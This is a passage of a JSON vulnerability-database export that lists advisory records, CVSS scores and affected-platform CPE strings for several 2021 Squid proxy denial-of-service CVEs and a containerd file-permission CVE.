"PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2023-01-21T10:04:37", "id": "RH:CVE-2021-32760", "href": "https://access.redhat.com/security/cve/cve-2021-32760", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "veracode": [{"lastseen": "2022-07-26T16:52:18", "description": "Squid is vulnerable to denial of service. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent by the server.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-29T18:35:28", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33620"], "modified": "2022-06-03T18:20:33", "id": "VERACODE:30743", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30743/summary", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-26T16:52:23", "description": "squid is vulnerable to denial of service. The vulnerability exists due to an integer overflow due to insufficient validation of user-supplied input when delivering responses from HTTP Range requests. \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-14T21:08:21", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31808"], "modified": "2022-07-13T12:54:59", "id": "VERACODE:30434", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30434/summary", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-26T16:34:08", "description": "squid is vulnerable to denial of service (DoS). The vulnerability exists through an incorrect memory management bug that affects all clients using the proxy.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-14T21:08:26", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2021-06-14T11:23:57", "id": "VERACODE:30435", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30435/summary", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-26T16:52:25", "description": "squid is vulnerable to denial of service (DoS). The vulnerability exists through an improper parser validation, allowing a trusted client to cause memory leaks through the Cache Manager API.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "baseScore": 4.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-15T00:52:25", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28652"], "modified": "2022-04-19T05:16:44", "id": "VERACODE:30447", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30447/summary", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-26T16:52:25", "description": "squid is vulnerable to denial of service (DoS). The vulnerability exists through an improper input validation, affecting all clients using the proxy.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-14T21:08:30", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806"], "modified": "2021-06-14T11:25:30", "id": "VERACODE:30436", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30436/summary", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-26T16:34:03", "description": "squid is vulnerable to denial of service. The vulnerability exists due to a buffer management bug. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-15T00:52:17", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2021-06-14T11:25:33", "id": "VERACODE:30446", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30446/summary", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "cve": [{"lastseen": "2022-06-03T18:45:38", "description": "Squid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a denial of service (affecting availability to all clients) via an HTTP response. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent by the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-28T12:15:00", "type": "cve", "title": "CVE-2021-33620", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33620"], "modified": "2022-06-03T17:30:00", "cpe": ["cpe:/o:fedoraproject:fedora:34", "cpe:/o:fedoraproject:fedora:33", "cpe:/o:debian:debian_linux:9.0"], "id": "CVE-2021-33620", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33620", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*"]}, {"lastseen": "2022-07-13T16:17:43", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to an input-validation bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy). A client sends an HTTP Range request to trigger this.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T14:15:00", "type": "cve", "title": "CVE-2021-31808", "cwe": ["CWE-190"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31808"], "modified": "2022-07-12T17:42:00", "cpe": ["cpe:/o:fedoraproject:fedora:34", "cpe:/o:debian:debian_linux:10.0", "cpe:/a:netapp:cloud_manager:-", "cpe:/o:debian:debian_linux:9.0", "cpe:/o:fedoraproject:fedora:33"], "id": "CVE-2021-31808", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31808", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:a:netapp:cloud_manager:-:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T18:08:53", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-08T20:15:00", "type": "cve", "title": "CVE-2021-31807", "cwe": ["CWE-190"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2021-09-14T14:31:00", "cpe": ["cpe:/o:fedoraproject:fedora:33", "cpe:/a:squid-cache:squid:2.6", "cpe:/a:squid-cache:squid:2.5.stable7", "cpe:/a:squid-cache:squid:2.5.stable11", "cpe:/a:squid-cache:squid:2.5.stable6", "cpe:/a:squid-cache:squid:2.5.stable4", "cpe:/a:squid-cache:squid:2.7", "cpe:/a:squid-cache:squid:2.5.stable2", "cpe:/a:squid-cache:squid:2.5.stable12", "cpe:/o:fedoraproject:fedora:34", "cpe:/a:squid-cache:squid:2.5.stable14", "cpe:/a:netapp:cloud_manager:-", "cpe:/a:squid-cache:squid:2.5.stable13", "cpe:/a:squid-cache:squid:2.5.stable5", "cpe:/a:squid-cache:squid:2.5.stable10", "cpe:/a:squid-cache:squid:2.5.stable8", "cpe:/a:squid-cache:squid:2.5.stable9", "cpe:/a:squid-cache:squid:2.5.stable3"], "id": "CVE-2021-31807", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:squid-cache:squid:2.5.stable12:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable2:*:*:*:*:*:*", "cpe:2.3:a:netapp:cloud_manager:-:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable7:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable3:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable11:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable3:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable5:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.6:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable4:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable7:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable10:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable6:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable5:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable14:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable2:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable6:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:-:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable9:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable9:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable13:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable4:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable8:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable8:*:*:*:*:*:*:*"]}, {"lastseen": "2022-04-19T05:53:15", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to incorrect parser validation, it allows a Denial of Service attack against the Cache Manager API. This allows a trusted client to trigger memory leaks that. over time, lead to a Denial of Service via an unspecified short query string. This attack is limited to clients with Cache Manager API access privilege.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "baseScore": 4.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T12:15:00", "type": "cve", "title": "CVE-2021-28652", "cwe": ["CWE-401"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28652"], "modified": "2022-04-19T03:57:00", "cpe": ["cpe:/o:fedoraproject:fedora:33", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:debian:debian_linux:9.0", "cpe:/o:fedoraproject:fedora:34"], "id": "CVE-2021-28652", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-28652", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T18:08:50", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T13:15:00", "type": "cve", "title": "CVE-2021-31806", "cwe": ["CWE-116"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806"], "modified": "2021-09-14T17:37:00", "cpe": ["cpe:/o:fedoraproject:fedora:33", "cpe:/a:netapp:cloud_manager:-", "cpe:/o:fedoraproject:fedora:34", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:debian:debian_linux:9.0"], "id": "CVE-2021-31806", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31806", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:a:netapp:cloud_manager:-:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T16:41:07", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a buffer-management bug, it allows a denial of service. When resolving a request with the urn: scheme, the parser leaks a small amount of memory. However, there is an unspecified attack methodology that can easily trigger a large amount of memory consumption.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T12:15:00", "type": "cve", "title": "CVE-2021-28651", "cwe": ["CWE-401"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2021-09-14T17:07:00", "cpe": ["cpe:/o:fedoraproject:fedora:33", "cpe:/a:netapp:cloud_manager:-", "cpe:/o:fedoraproject:fedora:34", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:debian:debian_linux:9.0"], "id": "CVE-2021-28651", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-28651", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:a:netapp:cloud_manager:-:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*"]}, {"lastseen": "2022-10-25T18:46:02", "description": "containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host\u2019s filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-19T21:15:00", "type": "cve", "title": "CVE-2021-32760", "cwe": ["CWE-732"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2022-10-25T15:47:00", "cpe": ["cpe:/o:fedoraproject:fedora:34"], "id": "CVE-2021-32760", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-32760", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*"]}], "cloudlinux": [{"lastseen": "2022-04-25T19:34:09", "description": "- CVE-2021-28651: fix memory leak leading to denial of service", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-04-21T21:19:16", "type": "cloudlinux", "title": "Fix of CVE: CVE-2021-28651", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2022-04-21T21:19:16", "id": "CLSA-2022:1650575956", "href": "https://repo.cloudlinux.com/centos6-els/updateinfo.xml", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-07-28T14:36:06", "description": "- CVE-2021-28651: fix memory leak leading to denial of service", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-07-20T09:58:36", "type": "cloudlinux", "title": "Fix of CVE: CVE-2021-28651", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, 